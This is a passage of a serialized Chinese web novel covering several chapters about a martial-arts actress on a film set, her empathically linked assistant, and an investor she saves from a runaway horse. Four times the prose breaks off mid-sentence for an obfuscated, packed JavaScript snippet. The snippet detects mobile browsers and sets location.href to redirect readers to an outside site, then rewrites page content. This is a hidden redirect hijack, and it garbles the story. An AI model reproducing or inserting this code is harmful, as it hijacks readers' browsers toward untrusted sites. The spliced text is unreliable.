这里原本的设计是跑到马前站定,转身说台词再上马。 但应璋跑过去想着这句台词时,脑海中不知为何突然就响起了星爷的那句“我一定会红透半边天的”,胸中豪情顿生,直接助跑一跃翻身上马,策马疾驰出谷,台词和动作都是连贯得一气呵成,把在场的人都看愣了。 “cut!” 蒋卫站在监视器后面,兴奋的脖子都红了。 在众人的掌声中,冲出去好一段距离的应璋才骑着马溜溜达达地回来了。 饰演女一的叶溧是电影学院刚毕业的新人,身上带着一股子大学生特有的清澈,满是星星眼地扑了上来。 “应老师您这套动作太漂亮了,能不能教教我?” “这个有点危险。”应璋刚下马就被美女热情的抱住,下意识反手接住人,“不过可以教你点其他的,想不想耍扇子?” 叶溧点头如捣蒜:“想!!!” “应老师发挥的特别棒,一镜到底一遍过!”蒋卫笑着迎上来,“您还能再复刻刚刚的动作吗?咱们再保一条……” “可以。” 应璋松开手,点点头。 这些年她带过不少剧组,有的导演随便拍拍就算过,有的导演同一个镜头能从不同角度拍十几二十遍,保一条并不算什么过分要求。 这一镜过后,剧组就着现在这个景拍摄应璋和师父、师兄交手的镜头。师父师兄出镜并不多,所以便由武指老师们兼任,接下来的拍摄每一场都是真刀真枪地对战,看得众人惊呼连连。 过了第一镜的彩头buff后,蒋卫就没那么好说话了,即便镜头合格,他也要换机位、角度再拍好几条。 正片里估计也就两三分钟的戏,几人拍了三个多小时才听到导演满意地“过”。 应璋:第一天就这么大的运动量,真让人头大。 好在应璋就今天这几场戏,拍完就能休息了。 去化妆间换衣服的时候,应璋贴身的衣物都被汗湿透了。几场武戏下来,比做一天有氧还累。 “喝点水吧。” 应璋一出化妆间,就撞上了捧着水杯等在门口的柏临渊。 新上任的助理小柏颇为敬业,身上背了一个马卡龙紫的双肩月子包,每个兜兜袋袋塞满了各种物品,看起来像是一个移动的百宝箱。 “谢谢柏助理,哕——” 笑眯眯接过水杯的应璋毫不设防地喝了一大口,被杯子里又咸又甜又酸的味道刺激得表情失控。 “喝起来味道不太好,但是你今天运动量太大了,还是补充点电解质比较好。”助理小柏语气认真,“至少要喝三分之一才行。” 应璋:……好,她喝! 拿出喝中药的架势,应璋仰着脖子咚咚咚灌了半杯,柏临渊这才心满意足地收回杯子。 “最近总是泡在剧组,现在终于有空了。”应璋伸了个懒腰,“要不要出去玩?” 柏临渊摇头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480545|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该做大扫除了,回家收拾一下卫生吧。” 应璋没多想就上车了,原以为柏临渊说的大扫除是回他自己家,没想到是她们短租的那套房子。 应璋:? 先不说这房子里勤勤恳恳扫地拖地的机器人,单看她们搬过来的时间,这会也用不上大扫除吧? 打扫卫生完全不达标的应璋被柏临渊用一个果盘留在客厅沙发上,像个监工的老大爷一样边吃边看柏临渊干活。 可能是因为以前的集体生活经历,应璋一直不太喜欢过于爱干净的人,只觉得洁癖会让人害怕。柏临渊对环境卫生的严苛程度远超她之前那些室友,但她只觉得这样的柏临渊很好。 应璋想了想,可能是因为室友们会把那套标准套在她身上,逼她改变生活习惯和她们一样,而柏临渊会自己默默收拾好一切。 她还记得大学时有个室友病态得让人害怕,凡是出寝室门的人,回寝室必须洗头洗澡,不洗她就要大吵大闹、摔砸东西。 但是柏临渊就没有这种奇怪的要求,他只会像扫地机器人一样忙碌地擦擦洗洗,默默把东西归置到他喜欢的位置上。 很好,喜欢这种不折腾别人的人。 这套房子面积不大,因此就算应璋一动不动,也不妨碍她和柏临渊聊天。 这么长时间过去了,柏临渊的举报和诉讼完全没有动静,像个真正的助理一样一直围着她转,这让应璋有种自己耽误了对方事的愧疚感。 柏临渊停下了手上的工作,回答得一板一眼:“举报邮件已经发了,在等回复;诉讼还没立案,黎律说让我再等一等;挂人PDF做得差不多了,发的话……还要再看一下。” 应璋放下了手上的小番茄:“再看什么?黎律说不能发吗?” “也不是。”柏临渊洗干净手,坐到应璋身侧,“律师叮嘱过一些注意事项,规避一下就可以发。” “那要等什么?”应璋有点懵。 “看看能不能立案。”柏临渊从果盘里捡了个草莓,“立案有立案的写法,不立有不立的写法。” “懂了!” 看着柏临渊不太自在的动作,应璋突然意识到一件事:“今天武戏身上难免有磕碰,你是不是也疼?” 正悄悄往应璋身边靠的柏临渊身子一僵:“……是……是有一点……” 应璋看地上干得差不多了,抬腿起身:“那我去擦点药油。” 柏临渊起身跟上:“我帮你。” 应璋也没多想,以前在武行大家也都是互相帮忙擦药的,就点头同意了:“行,你等我换个衣服过来。” 柏临渊这才反应过来他刚刚说了什么,不由僵在原地。 不多时,应璋就穿着运动背心和骑行短裤出来了。今天的武打动作主要是器具,四肢有不少磕碰,身上其他地方倒是还好。 应璋大马金刀地跨坐在沙发上,把药油往柏临渊手上一送:“你擦吧,感觉哪疼就往哪擦。” 柏临渊:“我擦?” 应璋觉得这对话有点奇怪,但还是点头:“对啊,你擦。” 柏临渊倒药的手有点抖,双手交叠搓了又搓才伸手去握应璋的腿。 应璋等了半天,才有一只带着颤抖的手覆在了她的小腿上。 这处伤她还有点印象,好像是摄影老师拍近景时,武指老师为了躲开设备,不小心用刀背拍了一下,确实挺疼的,待会得用点力气推开第二天才不会太痛。 但是覆在腿上的手半天只是轻轻的擦了擦,一点力道都没有。 应璋叹了口气,这不练武的还是对伤口不熟悉啊,哪有这么推药油的? “你再用点劲啊!” 26. 拍摄 应璋结结实实地在剧组拍了大半个月的武戏,每天不是跟武指老师打,就是和群演打,时不时还要吊个威亚。 高强度动作戏的后果就是身上每天淤青叠淤青,这还是应璋出道以来第一次接触这种类型和强度的拍摄,虽说还不至于吃不消,但确实算不上好受。 如果只是应璋自己就算了,关键她还和柏临渊共感。这下应璋突然明白为什么之前柏临渊状态差的时候总是一副愧疚的模样了,这种因为自己连累别人的感觉,确实很糟。 起初应璋也试过规避碰撞和受伤,但是人一旦有顾虑了,动作的舒展度和完成度就大打折扣了。 一场拍摄下来,所有人的关心就像空气一样围了上来,问候的、送药的、送补品的……阵仗大得像明星一样。 察觉到不对劲的柏临渊连忙上前开解,拍摄进程才恢复正常。 受伤多了,柏临渊的上药技术有了质的飞跃,从近乎抚摸的轻柔变成了力道十足的推揉,每次都能给应璋揉的龇牙咧嘴不住痛呼。 不过这种日子也没有持续太久,渐渐地应璋也学会了行动飘逸的躲闪,用蒋卫的话来讲,就是闪避技能突然升级。 剧本上这一场戏是女主成宛灵和女三程钰相遇相交,侯府千金成宛灵从寺庙礼佛归家路上遇袭,被准备去庙里蹭斋饭吃的程钰救下,两人自此结伴同行。 场记打板后,演员们纷纷动了起来。 纷乱的群像镜头已经在刚刚的走位中拍出了足够的素材,现在的镜头集中对准了几位主演。 在仆从的保护下,平日里高贵端庄的闺阁千金成宛灵终于迈开步子不顾形象地狂奔起来。 软底的绣鞋并不适合奔跑,在跌入绝望之时,成宛灵突然意识到她曾引以为傲的礼仪规矩在此刻都成为索命的绳索——她的腿脚没有仆妇有力,步子也没有她们的大,只能被侍女们拖着踉跄前行。 现在摔作一团的几人只能眼睁睁看着歹人逼近。 危难来临之际,一束伴着血色的银光映入成宛灵眼眸,一个高挑纤细的身影挥刀砍翻了追兵,一人一刀硬是逼退了有二十多人的匪徒团伙。 程钰嫌弃甩刀,收刀入鞘。 “**,一股子腥味!这下不能去白云寺蹭饭了!” 剧本里的设计是,身上盘缠消耗殆尽,又吃腻了烤野味的程钰翻了两个山头打算去找个寺庙蹭饭,但经历一番打斗后,不仅满身血腥,还错过了饭点,蹭饭的计划全盘落空,整个人好不烦躁。 少女穿着朴素,没有精致的钗环配饰,也没有层层叠叠的绫罗仙裙,只有款式极为简单的布衣木簪,五官和神情都很灵动,好像说脏话和砍人都是再普通不过的事情。 成宛灵已经完全被眼前突然出现的少女迷住了,半晌没有说话。 “cut!”蒋卫抓起喇叭大喊,“成宛灵说词啊!怎么愣了那么久?再来一遍!” “不好意思……”饰演成宛灵的叶溧不住鞠躬,“我看愣忘词了,实在对不起……” 刚刚应璋的表演太自然了,挥刀的动作和低斥抱怨的样子都很自然。尽管她的五官并没有特别大的动作,但神情自然、表情生动,眼皮一抬就能让人真真切切地感受到那种活泼又烦躁的少年感。 剧组的所有人都能感受到这段表演的生动,有些姐姐已经眼冒星星开始捧脸了。 直面应璋表演的叶溧感受自是比其他人更深刻,原本沉浸在成宛灵情绪里的叶溧忽然就呆呆地望着应璋的脸移不开眼,台词也忘了个一干二净。 “没事,腿麻不麻?”应璋弯下腰,帮叶溧调整了一下腿和裙摆,“这样更接近真实的摔倒姿势,你也能坐得舒服一点。” 叶溧只觉得心脏咚咚跳,震得她都要怀疑自己的取向了:“还……还好……谢谢应老师……” “好了!趁这会光线还可以,我们再来一遍!”蒋卫举起喇叭开始催人,“各部门准备——” “小女是荣阳侯之女成宛灵,谢过恩人相救。”成宛灵抬头,眸中满是感激之色,“恩人若是不嫌弃的话,不妨跟小女回府暂作休整,小女定当重金酬谢。” “重金就免了吧,我先送你回家。”程钰弯腰把人扶起来,“你还能自己走吗?” 成宛灵活动了腿脚,吃痛出声:“嘶——” 程钰检查了成宛灵的脚,发现一片红肿,显然不便自己行动,便伸手抱人:“我先带你回马车。” 镜头对准两人,蒋卫攥着拳头屏住呼吸。 剧本这里写得是程钰一把抱起成宛灵,护送归府。但应璋看起来瘦瘦长长一条,能不能把跟她差不多高的演员抱起来,谁都说不好。 毕竟这年头,男演员们没少吐槽八九十斤瘦得只剩骨头的女演员重,就算勉强抱起来也是摇摇晃晃身形不稳。 不行就把这场删掉。 蒋卫盯着监视器,思考着怎么调整后续剧情。 经过这段时间的锻炼,应璋增肌又增重,别说一个叶溧,就是柏临渊她也能抱得轻轻松松。 原本应璋的动作设计是先用右手把人捞起来,再用左手接住对方的腿,用公主抱的方式把人送上马。但真的上手抱了人才发现,叶溧轻得像是个等身抱枕,单手就能轻松抱起。 于是镜头里程钰揽住成宛灵的腰,轻巧一抬单手就把人送上马背,整套动作苏爽流畅,看得现场惊叫连连。 制片高兴得嘴都合不拢了:“回头把这个剪进预告里!肯定能吸引一大批观众!” 镜头里的表演还在继续,蒋卫很是得意地看向编剧,脸上写满了“我太会挑演员了”这几个大字。 要知道,应璋可是蒋卫磨了好几个月才拉进剧组的。不管是男女主还是其他配角,基本都是试镜几次就定下来了,唯独女三程钰是他机缘巧合看中并求来的。 应璋在演艺圈中的有效角色几乎为零,要么就是台词没两句的花瓶,要么就是镶边路人,再有就是不知道藏在那个数据库角落再无后文的未播剧。 之前蒋卫对应璋的唯一要求就是把武打动作做漂亮,台词不好可以配音,演技平平还有剪辑,只要能把侠气演出七分,那这个角色就立住了! 但应璋给出的答卷显然不止60分,她将程钰这个角色演绎得很好。就目前的拍摄进度而言,不管是文戏还是武戏,应璋的演绎都是可圈可点的,就算没有老戏骨那般传神,在新生代里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488857|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也绝对可以夸一句“不错”。 但随着拍摄的推进,蒋卫担心的问题也渐渐浮出水面——应璋对感情戏一!窍!不!通! 应璋倒也不是常见的那种木着棺材脸的一窍不通,而是很套路模板化,像是在演竖屏网剧,娇羞也好、眉目传情也罢,都像设定好的公式一般,到了某个情节点自动解锁相应表情。 若全程都是这种三分水准的演技也就罢了,偏偏应璋在其他情节和情绪上都处理得很好,比如对女主的关怀怜惜、对男主的厌烦挑剔,至少都是八分的演技。 两相对比下来,差距可谓惨烈。 饰演男三的胡炜忍不住私下找蒋卫吐槽:“应璋姐是不是不喜欢我啊?一和我搭戏就变了个人,奇奇怪怪的。” 蒋卫:…… 要真是这样就好了,还能劝,她看起来是真不会啊! 蒋卫拉着编剧和副导演一起开会,几人讨论了一下午,除了满地的头发什么也没留下来。 “不行还是改戏吧……”编剧扫了一眼地上的青丝,只觉得天都要塌了,“就改成不懂感情的女侠客和暗恋侠女的忠犬好了。” “胡炜能同意吗?”蒋卫叹气,“他可是金主点名塞进来的。” “问问呗?”编剧挠头,“总不能这么僵着吧?应老师的爱情戏拍的还没她武打戏十分之一好,况且胡炜不也对她这种演技不满意?” 蒋卫把这活推给副导,被赶鸭子上架的副导只能搓着络腮胡去当说客。 自诩资源咖的胡炜平时低调得不显山不露水,除了导演、制片和编剧没有人知道他是金主妈妈塞进来的人。 他本人在片场对谁的态度都挺好,培训的时候也是谦逊好学,时间一久大家也没太把他当太子爷供着,凡事都是有商有量地来。 原本副导演想着这次改剧本商量商量应该也不是什么大问题,但没想到偏偏这颗小金土豆炸毛了——“凭什么?从她追我变成我追她?关键是还没追上?” 胡炜当即就打电话和金主大人——他亲姐胡明琅女士打电话告状了。 投资这个新人导演的小剧组本是胡明琅随手的事,反正她挣得钱花不完,蒋卫要的也不多,几个包的事,就当带孩子玩了。 看完剧本给她弟挑了个讨喜的角色,胡明琅就没再关注过这个剧组了。而她本人最近对一款女性向游戏非常上头,已经好几个月没想起这个弟弟了,现在接到老弟的告状电话,当即就开车杀向剧组。 欺负她弟弟?怎么敢的啊! 坐在副驾驶的助理冯林看着突然沉下脸来的老板,连忙给蒋卫通风报信——【我老板要去剧组找你们算账了!快把胡炜的剧本改回去!】 还在监视器后执导的蒋卫完美地错过了老同学冯林发来的救命提示,还在举着喇叭调度片场。 这一场拍的是程钰骑马奔袭救人的片段,群演多、场地空,调度起来并非易事。 胡明琅杀至片场的时候,四下尘土飞扬,场面乱糟糟的,根本分不清谁是谁。导演呢?她弟呢? 拍完一组满意镜头的蒋卫伸了个懒腰,一扭头差点没闪到腰。 不是,投资人怎么突然来片场了? 27. 救美 完成拍摄任务的应璋溜溜达达前往导演身边,准备看看刚刚拍摄的镜头。 进组这么久,应璋渐渐和剧组混熟了,也从叶溧那里学习了不少演技的技巧。其中最有用的一条便是复盘——从过往的表演中总结优秀之处与不足之处,扬长避短,慢慢调整表演与表达。 于是只要时间环境允许,应璋都会凑到导演组这边看看她的片段。 只是应璋人还没走到导演组跟前,就被一个美貌御姐拦住了去路。 “你就是应璋?”御姐拉下墨镜,红唇微张,“就是你要改掉我弟的剧本?” 应璋:“啊?” 御姐看着应璋指着自己一脸茫然的样子,火气更甚:“你是真不知道还是装不知道?” 应璋不明所以,正准备开口问问怎么回事,余光中瞥见一抹黑影向她这个方向冲了过来。 转过头,一匹失控的骏马正冲着她们的方向疾驰而来,身后的马术老师拔腿狂奔也追赶不上。 来不及多想,应璋扑在御姐身上抱着人一起躲开。由于事发突然,来不及跑走躲避,应璋只能揽着人往另一侧的小土坡栽倒,这才险而又险地将将避开乱撞的骏马。 慌乱中应璋只来得及护住对方以肩卸力,在土坡上狼狈地滚了好几圈才勉强停下。 “你没事吧?”应璋看向压在她身上的御姐,有点担心对方的状态,“感觉怎么样?有没有哪里不舒服?” 御姐双手撑在应璋脸侧,直勾勾地盯着她的脸,忽然眼泪大滴大滴地往下砸。 被眼泪砸懵了的应璋顾不得身上的疼痛,半撑起身子去扶人:“怎么了怎么了?哪里不舒服?” 御姐闻言直接搂住应璋嚎啕大哭,赶过来的导演和助理都劝不住的那种哭。 应璋只能一边等医务人员过来,一边拍着御姐的背轻哄。 “姐你怎么了?” 胡炜跌跌撞撞地从坡上滑下,一个踉跄差点砸在应璋身上,多亏了柏临渊跟在后面紧急拉了一把,不然这一百多斤的体格砸下去,应璋至少得在医院躺大半个月! 助理冯林揉揉被打下来的手,悄声对着蒋卫解释道:“老板最近一个游戏角色非常上头,刚刚应老师抱着她躲开疯马、起身哄人的样子和那个角色剧情特别像,我估计是想到那个角色了。” 蒋卫:“……那也不能让她们这么哭啊?应老师还被她压着呢,得送医院啊!” "……先这样吧。”冯林叹了口气,“我们别动她们了,等救护车到了再看吧。” 等进了急诊,胡明琅才将将收住眼泪。 救护人员还以为她伤情严重才会哭成这个样子,结果检查一圈下来也就是一些擦伤。反倒是应璋右肩脱臼了,要打半个月的绷带静养。 蒋卫松了口气,还好不严重。今天是最后一场武戏,剩下的镜头基本都是文戏,调一调档期还能让应璋多休息一段时间。 “胡总,您今天是为了胡炜的戏份而来的吧?” 寒暄和慰问过后,蒋卫开始试探金主妈妈的态度:“是这样的,这次剧本更改不是削减胡炜的戏份,而是对他的人设和情节作出了一些调整……” 蒋卫找出之前拍摄的片段,边介绍边劝,恨不得把心剖出来给投资人展示他没有欺负胡炜。 大哭一场后,胡明琅已经收拾好了情绪,一边听蒋卫的解释,一边翻看他递过来的资料。 “姐姐~”胡炜蹲下来贴着姐姐的腿撒娇,“我明明是被追的那个人,现在让我去追人,怎么可以这样啊?” “哼。”胡明琅完全不吃这一套,“怎么不可以?新改的剧本比原来还要出彩,你看了没有就跟我告状?” “那也是我追人啊……”胡炜小声嘟囔着,既畏惧姐姐的权威,又不甘心向新剧本妥协。 “那就别追了。”胡明琅皱眉,看向蒋卫,“把女三男三感情戏都砍了,谁也别追谁!” 胡炜:“!!!” “我早就烦透了这种剧本,男一女一在一起,男二女二在一起,整个剧本就是一个巨大的配平文学。” 胡明琅看向着打着绷带向她们走来的应璋,声音带着异样的热情:“女三就应该独美!谁也别来蹭她!” 蒋卫:“好的!我这就和编剧老师沟通一下!” “行,新改好的剧本记得发给冯林,我要看一遍。”胡明琅不耐烦地把腿上粘着的橡皮糖撕开,“起开,压我伤口了。” 既不敢怒也不敢言的胡炜:……我真的是你的亲弟弟吗? “应老师,真是不好意思,我弟弟不懂事,给您添麻烦了。”胡明琅笑着迎上去,视线落在应璋身上,但又似乎并没有在看她,“回头我亲自备好赔礼给您道歉,还希望您大人不记小人过,不要搭理他。” “您太客气了,是我演技不精拖累了您弟弟。” 刚被编剧塞了一脑子投资人信息的应璋客气回应,只当是她救了对方,对方愿意多给几分面子。 “不用管那个臭小子,能和您搭戏是他的荣幸。”胡明琅轻哼一声,并不想多谈这个弟弟,“我们公司正准备找一个代言人,不知道您感不感兴趣?” 这话一出,不仅是应璋,就连一旁的冯林都瞪大了眼睛。 胡家的公司龙凤珠宝虽然是家族企业,但自胡明琅高祖父创业起算,也可以说是传承百年的老店了。经过几代人的用心经营,已经是享誉国际的华国顶尖珠宝老店了。 尽管规模不及近几十年新成立的连锁品牌规模大,但国民认可度仍是首屈一指的。这些年龙凤珠宝的格调一直都很高,别说代言人了,广告投放都不多,胡明琅邀请的含金量不言而喻。 “我现在还没打完和前公司的官司,贸然代言怕是会影响到贵公司的形象。” 应璋虽然对这块大饼非常心动,但也清楚以她的咖位和形象吃不下这块大饼,成为龙凤珠宝的代言人对她对龙凤珠宝都不是什么好事。 “非常感谢您给我的机会,如果今后我能达到与龙凤珠宝相匹配的地位,到时候希望您再考虑我。” “那……拍广告宣传总可以了吧?”胡明琅还在坚持,“只是模特辅助拍摄,这样可以接受吗?” 编剧在后面不停地扯应璋的衣角,恨不得替她答应下来。 毕竟是剧组最大的投资人,再拒绝就不礼貌了。 “好,感谢您的邀请。”应璋笑着点头,“可惜我现在还没签 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14494861|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公司,只能等身体养好再和您谈合作了。” 胡明琅也跟着笑了起来:“好!” 剧本风波终于告一段落,应璋在黑脸小柏的护送下回了家。 “生气啦?” 看着一进门就闷头做卫生的柏临渊,应璋凑上前小声询问。 柏临渊飞快地抬了下头:“没有。” “那你为什么不看我?我可是伤患诶!”应璋在柏临渊身后,用还很健康的左手拿着清洁布东擦擦西擦擦,试图加入清洁队列。 “你不要乱动!”柏临渊夺下应璋手上的布,语气放缓了不少,但表情仍旧硬邦邦的,“你刚从医院出来,不要劳累,回房间好好休息。” “那你呢?你不需要休息吗?”应璋歪头,“我现在身上到处都疼,你应该也是吧?一定要顶着这样的身体大扫除吗?” 柏临渊不自在地动了动手指:“……我就简单收拾一下。” “简单收拾一下?”应璋阴阳怪气地重复着,“也就是简单的脱了三遍地,给洗地机换了两次水,顺便把卧室和厨房都擦了一遍……” “你饿不饿?”柏临渊放下手上的工具,几乎是同手同脚地往厨房走,“我订的菜快到了,想不想吃水蒸蛋?排骨做红烧还是做汤?青菜要不要白灼?” 应璋憋着笑,故意板着脸没有吭声,看着柏临渊一头栽进没有菜的厨房,再灰溜溜的走出来。 “咳……”柏临渊僵着身子往外走,“我出去看看外卖有没有送到……” “送到会敲门的。”应璋长腿一迈拦在柏临渊面前,“如果你有情绪可以和我说,不要憋在心里,对身体不好。” 柏临渊顿在原地:“没什么情绪……” “你有。”应璋点了点她自己的胸口,缓慢但清晰道,“我感受到了,你不高兴。” 柏临渊嘴唇紧抿,过了好一会才声音喑哑地开口道:“我是你的助理,但是你在我面前受伤了……” “你是兼职助理,又不是保镖!” 应璋没想到柏临渊不高兴的原因竟然是这个。 “剧组安保失职跟你有什么关系?为什么要把责任往自己身上揽?” “不一样的。”柏临渊摇头,“不是这样的。” “我知道你是情绪敏感心思细腻的人,这是好事,并不是所有人都能有这样敏锐的觉知。” 应璋拉着柏临渊来到沙发坐下,把声音放缓。 “但是你要清楚,如果人把所有事情都放在心上,不管多么强大的心脏都会被这些事情压垮的,不要把你的天赋用在这种会伤害自己的地方上。” 柏临渊闷声抗议:“不是所有事情。” “嗯?”应璋没理解。 “我是说,我不是把所有事情都放在心上。”柏临渊突然大声,表情看起来有点委屈,“只有你!只有你我才会事事在意!” 话刚说出口,柏临渊就后悔了。 “对不起,我情绪有点激动……” 没有看应璋的表情,柏临渊借口去接外卖就直接起身出门了,只剩应璋对着关上的大门发呆。 共感对柏临渊的影响为什么这么大?怎么对她就没有这么大的影响? 28. 杀青 在应璋百思不得其解时,柏临渊已经在厨房忙活开了,不多时四菜一汤就摆在了饭桌上。 右肩同右手都被绷带牢牢固定的应璋看着桌子上的菜,隐隐有种被针对的错觉。菜色非常丰富,分别是:木耳炒山药、清炒莴笋、滑蛋牛肉、蒸蛋羹和牛肉粉丝汤。 没有一道是好夹的菜,这样只能用左手吃饭的应璋忍不住对着饭桌挠头。她虽然能用左手,但也没能用到这种程度啊? 除了一道蒸蛋羹能勉强用勺子吃吃,其他几道菜但凭应璋自己肯定是吃不进嘴里的。 看着慢条斯理摘围裙的柏临渊,应璋觉得可能是她想多了。刚刚柏临渊都气到躲出门了,还能回来做饭给她吃,而且菜色都是她爱吃的,这样的好人能有什么坏心思呢? 巧合罢了。 “今天的菜看着真棒!是谁这么有口福?原来是我啊!” 应璋毫不吝啬夸奖,试图用糖衣炮弹把柏临渊迷晕,拇指一竖张口就来:“这滑蛋牛肉比茶餐厅做得还好!看看这火候,多一分则老少一分则生的!” “先喝口汤。” 柏临渊艰难地压住上扬的嘴角,把汤碗推倒应璋面前。 看着被粉丝顶得快要从碗里撅出去的汤匙,应璋只能用左手持匙,小心翼翼地从粉丝的缝隙中篦出一勺汤送入口中。 “呀!好鲜!” 品尝到汤羹鲜美的应璋下意识想再盛上一口汤,但手一滑汤匙直接擦着膨胀的粉丝滑了出去,直挺挺地溜到了柏临渊面前。 应璋:啊这…… “手滑,手滑。”应璋尴尬地站起来,试图去够汤匙,“没事,三秒内捡起来还是干净的。” 柏临渊家的餐桌是方桌,平时吃饭两人都是对着坐的,等于说应璋想要捡回自己的汤匙,要么身子横跨过整张桌子,要么就是绕过侧边过去。 考虑到柏临渊本人的洁癖程度,应璋选择方法二。 只是她人刚走到一半,就被柏临渊按回去了。 “我给你拿新的餐具。” 应璋坐了回去,接过柏临渊递来的长柄勺子,突然有种上幼儿园开饭被老师特殊关照的即视感。 “谢谢柏老师。” 心里这么想着,嘴上的感谢就这么冒出来了。 不过柏临渊没get到应璋的联想,只以为她在剧组待久了见谁都叫老师。 艰难的用勺子吃了蛋羹又吃了滑蛋后,信心大增的应璋挥手向莴笋伸去。 柏临渊刀工精湛,菜蔬都被切成了厚薄均匀的漂亮菱形薄片,美则美矣,就是不太好用勺子舀。应璋的勺子追着莴笋片绕着她这边的盘子盘滑了好一会,也没能让莴笋从盘子转移到勺子上。 算了,换一个。 应璋调转方向去盛滑蛋牛肉。比起可以用勺子切挖的鸡蛋,裹着蛋液的牛肉显然要难对付得多,用力轻了小滑一下原地打转,用力重了直接大滑一下牛肉原地起飞。 “嘶——” 人一着急,惯用手就忍不住跟着一起用力,完好的右手一发力,带着右臂和肩膀一起抽痛,应璋嘶了一声讪讪缩回勺子。 怪尴尬的。 “你!” 柏临渊也不吃饭了,两步跨到应璋身边坐下,语气含怒带怨。 “你宁愿抻着肩膀,也不肯让我帮忙吗?!” “啊?”应璋呆滞,“这咋帮?你喂我?” 柏临渊眼帘低垂,声音低低的:“嗯。” 应璋没听清楚:“啥?” “我喂你吃。”柏临渊拿起筷子夹起莴笋,稳稳递到应璋嘴边,“张嘴。” 不明所以的应璋下意识咬住唇上的莴笋片,舌尖尝到味道的瞬间,她才反应过来自己干了什么,脸“唰”地一下就红了。 柏临渊的视线落在应璋下半张脸上,只觉得他的温度随着应璋的动作攀升,喉头轻轻滚了一下,柏临渊清楚的听到了自己咽口水的声音。 “怪难为情的。” 两人心里同时冒出这样的想法,区别在于,一个觉得一把年纪了还让人喂饭好丢人,一个觉得动作过于亲密了有些害羞。 缘由南辕北辙,落点感受却很一致,四舍五入大概也能算是一种默契? “吃牛肉吗?” “吃!” “再来片山药?” “也行!” “吃口粉丝吧?” “好!” “……” 原本带着几丝旖旎的喂饭,在两人心无旁骛的投喂和猛炫下,慢慢演变成了护工照顾病号一样的细致诱哄,房间里氛围清澈的审核走进来都要摇头走开。 * 在柏临渊的精心照(投)顾(喂)下,应璋恢复得很快,不到一周就行动无碍了,正好编剧也把新的剧本改好了,两人商量了一下,直接打包回了剧组。 毕竟接下来的戏份都是不怎么需要做动作的,拍摄难度主要集中在情绪和台词上。 随着时间的推移,《明月雪时》的拍摄也渐渐接近尾声,蒋卫把众人分别的这一场戏放在了最后,也算是剧组对大家的一种道别。 故事线进行到这里,娇蛮的大小姐终于摆脱了封建礼教的束缚,勇敢地和心上人一起去经营自己的未来;女二号也发现了之前她为了抢男人做出的行为有多么不理智,打算投身女学去唤醒更多被《女诫》《女训》规训的女子;男主全力辅助女主的事业,男二则全身心投入朝堂。 每个人在懵懂中跌跌撞撞找到了自己要走的路,众人也到了分别的时刻。 对于女三程钰而言,女主成宛灵像是一个单纯不谙世事的小妹妹。 虽然表面上她是受雇为人保驾护航不得不留在成宛灵身边,但实际上程钰是不忍这个单纯美好的女孩子被所谓的伦理纲常吃干抹净才为她驻足的。 现在成宛灵自由了,那么她也自由了。 这场戏也算是剧本里的一个小高潮,也算是最后一场重头戏,大家都全力以赴,誓要守好最后一棒。 几人的告别并不是像同学毕业散场那样盛大相聚而后各自散开,而是陆陆续续地分别。 胡炜几人的戏份比较靠前,此时正靠在休息椅上围观应璋和叶溧的最后一场对手戏。 胡炜戳戳已经退场饰演男二的严岳,小声道:“你哭过了,我也哭过了,现在该应璋哭了。” “剧本写了要哭了吗?”严岳表示怀疑,“怎么每个人分别都要哭啊?” “也不是吧?”胡炜想了想,“咱俩是剧情需要,她们应该是姐妹情深?” “不知道,看看。”严岳从助理那里顺了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502662|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一包薯片,热情分享,“吃薯片吗?” “不……吃!”拒绝的话在胡炜嘴边绕了一圈,说到一半变了调,“都拍完了,吃个薯片怎么了?我吃!” 在两人仓鼠觅食一般地“咔嚓”声中,场记打下了《明月雪时》剧组最后一场戏的场记板。 “Action!” “好程钰!能不能不要走~不要走不要走嘛~” 成宛灵软着嗓子,试图像往常一样用撒娇让程钰妥协。 